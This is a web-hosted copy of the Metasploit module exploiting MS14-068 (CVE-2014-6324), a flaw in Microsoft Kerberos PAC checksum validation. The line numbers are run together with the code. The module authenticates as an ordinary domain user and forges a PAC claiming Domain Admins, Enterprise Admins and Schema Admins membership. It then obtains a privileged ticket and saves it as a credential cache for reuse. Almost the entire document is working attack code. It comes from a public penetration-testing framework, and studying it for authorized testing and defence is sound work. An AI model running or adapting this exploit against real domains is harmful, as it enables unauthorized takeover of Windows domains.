Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::Kerberos::Client89def initialize(info = {})10super(update_info(info,11'Name' => 'MS14-068 Microsoft Kerberos Checksum Validation Vulnerability',12'Description' => %q{13This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem14exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS15request, where a domain user may forge a PAC with arbitrary privileges, including16Domain Administrator. This module requests a TGT ticket with a forged PAC and exports it to17a MIT Kerberos Credential Cache file. It can be loaded on Windows systems with the Mimikatz18help. It has been tested successfully on Windows 2008.19},20'Author' =>21[22'Tom Maddock', # Vulnerability discovery23'Sylvain Monne', # pykek framework and exploit24'juan vazquez' # Metasploit module25],26'References' =>27[28['CVE', '2014-6324'],29['MSB', 'MS14-068'],30['OSVDB', '114751'],31['URL', 'http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx'],32['URL', 'https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/'],33['URL', 'https://github.com/bidord/pykek'],34['URL', 'https://www.rapid7.com/blog/post/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit']35],36'License' => MSF_LICENSE,37'DisclosureDate' => '2014-11-18'38))3940register_options(41[42OptString.new('USERNAME', [ true, 'The Domain User' ], aliases: ['USER']),43OptString.new('PASSWORD', [ true, 'The Domain User password' ]),44OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),45OptString.new('USER_SID', [ true, 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000'])46])47end4849def run50print_status("Validating options...")5152unless datastore['USER_SID'] =~ /^S-(\d+-){6}\d+$/53print_error("Invalid USER_SID. Ex: S-1-5-21-1755879683-3641577184-3486455962-1000")54return55end5657domain = datastore['DOMAIN'].upcase5859print_status("Using domain #{domain}...")6061user_sid_arr = datastore['USER_SID'].split('-')62domain_sid = user_sid_arr[0, user_sid_arr.length - 1].join('-')63user_rid = user_sid_arr[user_sid_arr.length - 1].to_i6465checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD566etype = Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC67encryptor = Rex::Proto::Kerberos::Crypto::Encryption::from_etype(etype)68password_digest = encryptor.string_to_key(datastore['PASSWORD'])6970pre_auth = []71pre_auth << build_as_pa_time_stamp(key: password_digest, etype: etype)72pre_auth << build_pa_pac_request73pre_auth7475print_status("#{peer} - Sending AS-REQ...")76res = send_request_as(77client_name: "#{datastore['USERNAME']}",78server_name: "krbtgt/#{domain}",79realm: "#{domain}",80key: password_digest,81pa_data: pre_auth,82etype: [etype]83)8485unless res.msg_type == Rex::Proto::Kerberos::Model::AS_REP86print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR87print_error("#{peer} - Invalid AS-REP, aborting...")88return89end9091print_status("#{peer} - Parsing AS-REP...")9293session_key = extract_session_key(res, password_digest)94logon_time = extract_logon_time(res, password_digest)95ticket = res.ticket9697pre_auth = []98pre_auth << build_pa_pac_request99100groups = [101Rex::Proto::Kerberos::Pac::DOMAIN_ADMINS,102Rex::Proto::Kerberos::Pac::DOMAIN_USERS,103Rex::Proto::Kerberos::Pac::SCHEMA_ADMINISTRATORS,104Rex::Proto::Kerberos::Pac::ENTERPRISE_ADMINS,105Rex::Proto::Kerberos::Pac::GROUP_POLICY_CREATOR_OWNERS106]107108pac = build_pac(109client_name: datastore['USER'],110group_ids: groups,111domain_id: domain_sid,112user_id: user_rid,113realm: domain,114logon_time: logon_time,115checksum_type: checksum_type116)117118auth_data = build_pac_authorization_data(pac: pac)119sub_key = build_subkey(subkey_type: etype)120121print_status("#{peer} - Sending TGS-REQ...")122123res = send_request_tgs(124client_name: datastore['USER'],125server_name: "krbtgt/#{domain}",126realm: domain,127session_key: session_key,128ticket: ticket,129auth_data: auth_data,130pa_data: pre_auth,131subkey: sub_key132)133134unless res.msg_type == Rex::Proto::Kerberos::Model::TGS_REP135print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR136print_error("#{peer} - Invalid TGS-REP, aborting...")137return138end139140print_good("#{peer} - Valid TGS-Response, extracting credentials...")141142cache = extract_kerb_creds(res, sub_key.value)143Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(cache, framework_module: self, host: rhost)144end145146def warn_error(res)147"#{res.error_code}"148end149end150151152153